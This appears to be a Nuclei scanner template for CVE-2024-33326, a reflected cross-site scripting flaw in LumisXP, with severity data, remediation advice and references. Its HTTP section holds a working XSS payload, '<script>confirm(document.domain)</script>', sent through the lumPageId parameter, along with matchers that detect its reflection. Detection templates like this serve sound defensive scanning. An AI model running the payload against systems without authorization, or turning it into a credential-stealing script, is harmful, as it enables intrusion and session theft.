CVE-2024-33326: LumisXP - Cross-site Scripting

id: CVE-2024-33326

info:
  name: LumisXP - Cross-site Scripting
  author: 0xr2r
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the XsltResultControllerHtml.jsp component of LumisXP v15.0.x to v16.1.x allows attackers to execute arbitrary web scripts or HTML via the lumPageID parameter.
  impact: |
    Successful exploitation allows attackers to execute arbitrary JavaScript in the victim's browser, potentially leading to session hijacking, credential theft, or defacement.
  remediation: |
    Apply security patches or upgrade to a version that addresses this XSS vulnerability. Implement proper input validation and output encoding.
  reference:
    - https://gist.github.com/rodnt/51ae2897abfff1bdcedccf72edbf3d24
    - https://seclists.org/fulldisclosure/2024/Jul/10
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33326
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-33326
    epss-score: 0.08331
    epss-percentile: 0.91949
    cwe-id: CWE-79
    cpe: cpe:2.3:a:lumis:lumis_experience_platform:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: lumis
    product: lumis_experience_platform
  tags: cve,cve2024,xss,lumis,lumisxp

http:
  - method: GET
    path:
      - "{{BaseURL}}/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="
      - "{{BaseURL}}/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=<script>confirm(document.domain)</script>&xslContentFilePath="

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<script>confirm(document.domain)</script>")'
          - 'contains(content_type, "text/html") && contains(set_cookie, "lum")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a00483046022100aa348270bb557a70dd87e7c207a6ee5ae94d00fec21d1ad22e1023937a02c7da022100acaf5a73b36c73aac5bc653e9b15676b80454f3bb5733a848490ac4bbbc08688:922c64590222798bb761d5b6d8e72950